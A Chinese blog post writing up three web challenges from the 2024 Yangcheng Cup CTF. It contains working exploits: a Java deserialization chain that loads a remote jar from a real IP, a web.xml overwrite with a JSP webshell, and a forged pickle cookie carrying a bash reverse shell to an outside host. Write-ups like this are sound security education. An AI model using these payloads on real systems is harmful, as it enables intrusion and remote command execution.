CTF - 羊城Web题解(近况)

CTF - 羊城Web题解(近况)

前言

很久没更新博客了,偶尔写一篇,记录一下打了一天的题(太久没打了太菜了我的哥,其实也不是太久没打的问题,一直都这样),最近护网,巨忙,很难想象一个安服仔一天工作16h的样子,害,安服仔的命,最近也是忙了点扫描器开发,然后就是背书等着考试了,考啥–GA考试+秋招,虽然目前已经有几家聊得还不错愿意要我(收留我),但还在等其他家给个面试机会(很疑惑某手,我咋刚投就被拒了呢?是我简历有病毒吗还是啥),开发的东西暂不开源,打算靠他来打打护网审计审计,讲讲最近打的神仙比赛吧 — 羊城杯 (准备成都打巅峰极客) –> 抢一把我大头Die的生意

羊城杯

我好像打了?又好像没打?我看最高分1个达不溜,我擦?一个比赛干一个达不溜,你整个学校来打了吧(太强太夸张了)

Ez_java

有权限校验,但是是1.2.4的shiro,可以绕过本来以为可以直接打反序列化的,但是发现这里是可以自己实现登录逻辑的,自定义实现了Realm,不懂看这

1
https://blog.csdn.net/qq_42814833/article/details/118897560

image

看依赖有几个有问题的依赖包,看代码注意下ycb的包名即可,查看User这个Java Bean

image

发现个getter能调用URLclassloader加载类,但是ban了 http​和 file​ 之前做过,想到用jar​协议来绕开并且远程加载jar包即可

接下来看控制器发现可以裸反序列化,但是存在黑名单

image

1
2
3
4
5
6
7
8
9
10
private static final String[] blacklist = {
"java.lang.Runtime",
"java.lang.ProcessBuilder",
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"java.security.SignedObject",
"com.sun.jndi.ldap.LdapAttribute",
"org.apache.commons.beanutils",
"org.apache.commons.collections",
"javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"
};

禁用了BadAttributeValueExpException,但是可以走Hashtable的tostring去调用Jackson来完成getter的触发(恰好是之前审的帆软,也是CT大哥的文章),可以想到直接调用到上述的getgift,tututu就写好了

此时去生成一个恶意的jar即可,但这里要注意下URLclassloader是会把Jar加载的JVM里头,但你不去调用他就不会去找这个类,所以我们要去找这个类才能触发HTTP请求 or file协议

这里给出自己调试的代码

1
2
3
4
5
6
7
String gift ="jar:http://127.0.0.1:8081/hello.jar!/";
URL url1 = new URL(gift);
Class<?> URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader) ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);

我的jar是这样子的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import java.io.*;


public class Main implements Serializable {
static {
try {
Runtime.getRuntime().exec("open .");
} catch (Exception e) {}
}
private String name;
private int age;

public Main() {
System.out.println("person constructor");
}

public Main(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
System.out.println("Person.getName()");
return name;
}

public void setName(String name) {
System.out.println("Person.setName()");
this.name = name;
}

public int getAge() {
System.out.println("Person.getAge()");
return age;
}

public void setAge(int age) {
System.out.println("Person.setAge()");
this.age = age;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Main person = new Main();
serialize(person);
// unserialize("ser.bin");

}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}



此时直接加载是不会触发HTTP请求的,也不会实例化该类,此时用反射去调用该类即可触发HTTP请求了

image

真是折磨到十一点(早9开始的)

那此时清楚URLclassloader之后就可以打了,在这里有个反序列化入口,让反序列化去找这个类即可进行类加载从而触发他的静态方法

打了第一个遍后打第二遍的找类

image

image

链子是公开的

1
https://xz.aliyun.com/t/14732

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
package com.example.ycbjava.bean;

import Utils.SerializeTools;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Hashtable;
import java.util.Map;
import static Utils.SerializeTools.CreateWithoutConstructor;

public class JacksonnoStable {
public byte[] getPayload(byte[] clazzBytes) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");
ctClass0.removeMethod(writeReplace);
ctClass0.toClass();
User user = new User();
user.setUsername("jar:http://118.31.166.161:8000/hello.jar!/");
POJONode jsonNodes = new POJONode(user);
Map Thashmap1 = (Map) CreateWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map Thashmap2 = (Map) CreateWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Thashmap1.put(jsonNodes,"xx");
Thashmap2.put(jsonNodes,"yy");
SerializeTools.setValue(Thashmap1,"loadFactor",1);
SerializeTools.setValue(Thashmap2,"loadFactor",1);
Hashtable<Object, Object> hashtable = new Hashtable<>();
hashtable.put(Thashmap1,1);
hashtable.put(Thashmap2,2);
Thashmap1.put(jsonNodes,null);
Thashmap2.put(jsonNodes,null);
objectOutputStream.writeObject(hashtable);
objectOutputStream.close();
String res = Base64.getEncoder().encodeToString(barr.toByteArray());
return barr.toByteArray();
}
}

Tomtom2

能读xml

image

找到tomcat密码

1
2
3
4
5
<user
username="admin"
password="This_is_my_favorite_passwd"
roles="manager-gui"
/>

扫到有上传接口 myapp/upload.html

上传path可控,测了只能传xml,可以通过覆盖 WEB-INF/web.xml 来写个新的servlet,并且指定解析一个xml来作为jsp

web.xml内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>qwe</servlet-name>
<jsp-file>/WEB-INF/jsp/web.xml</jsp-file>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>qwe</servlet-name>
<url-pattern>/run</url-pattern>
</servlet-mapping>
</web-app>

然后写个JSP即可,也可以写个回显马展示,也可以懒得写直接弹shell随便

1
<%=Runtime.getRuntime.exec(request.getParameter("a"))%>

Lyrics For You

有任意文件读,先读 /proc/self/cmdline

image

读取源码 /usr/etc/app/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle

app = Flask(__name__)
app.secret_key = random.randbytes(16)

class UserData:
def __init__(self, username):
self.username = username

def Waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid

@app.route("/", methods=['GET'])
def index():
return render_template('index.html')

@app.route("/lyrics", methods=['GET'])
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res

@app.route("/login", methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template('login.html')

@app.route("/board", methods=['GET'])
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"

data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")

if "username" not in data:
return render_template('user.html', name="guest")

if data["username"] == "admin":
return render_template('admin.html', name=data["username"])

return render_template('user.html', name=data["username"])

if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)

secret_key.py

1
secret_code = "EnjoyThePlayTime123456"

cookie.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request

# 兼容 Python 2 和 Python 3
unicode = str
basestring = str

# 将数据编码为 cookie 格式
def cookie_encode(data, key):
# 序列化数据并进行 Base64 编码
msg = base64.b64encode(pickle.dumps(data, -1))
# 计算 HMAC 签名并进行 Base64 编码
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
# 返回编码后的数据
return tob('!') + sig + tob('?') + msg

# 将 cookie 数据解码
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
# 验证签名是否匹配
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())):
return pickle.loads(base64.b64decode(msg))
return None

# 检查数据是否包含黑名单中的关键词
def waf(data):
blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
valid = False
for word in blacklist:
if word in data:
valid = True
break
return valid

# 检查 cookie 是否有效
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob('?'), 1)
if _lscmp(sig[1:], base64.b64encode(hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest())):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True

# 将字符串转换为字节
def tob(s, enc='utf8'):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)

# 从 cookie 中获取数据
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default

# 检查 cookie 是否经过编码
def cookie_is_encoded(data):
return bool(data.startswith(tob('!')) and tob('?') in data)

# 比较两个字节串是否相等
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)

# 设置 cookie
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie(name, value, max_age=3600, **options)
return resp
elif not isinstance(value, basestring):
raise TypeError('Secret key missing for non-string Cookie.')
if len(value) > 4096:
raise ValueError('Cookie value too long.')

# 将字节转换为字符串
def touni(s, enc='utf8', err='strict'):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s)

找到原题:SekaiCTF 2022 Bottle Poem

直接使用他们的payload

发现需要绕过eval

简单bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
from cookie import cookie_encode

payload =b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/47.237.73.23/2333 0>&1"'
o.'''

print(a)
exp = cookie_encode(
("user", payload),
"EnjoyThePlayTime123456"
)
print(exp)

image

得到flag

image

彩蛋

1
https://www.zhihu.com/question/665413633  # 如何看待2024羊城杯网络安全大赛

一群没进决赛的好哥哥全通宵了(真打CTF打的啊?)

image

image

image

image

image

后言

最近摆烂了,感觉很多时候技术并不是特别重要的东西,还是我的好大哥说的好,技术变现真不如关系关系变现,CTF固然是很好的,但慢慢的从早期的套娃到现如今的大家一起做,虽然在去年我也是PY小子,如今也是尝试了一把一个Java题做一天的感觉,做出来的感觉确实不错,但也是得经历过才能理解吧,为了比赛而比赛我认为还是得摇人,但为了技术来看务必要静下心来慢慢的去研究一个题目,虽然自己有时候还是把握不住想要去找人讨论的欲望,但还是得尽力克制,也是快秋招了,秋招已经被pass好多了,原本要活的心态也寄掉了


CTF - 羊城Web题解(近况)
https://zjackky.github.io/post/java-security-yangcheng-web-title-readns-1mzaln.html
作者
Zjacky
发布于
2024年8月28日
许可协议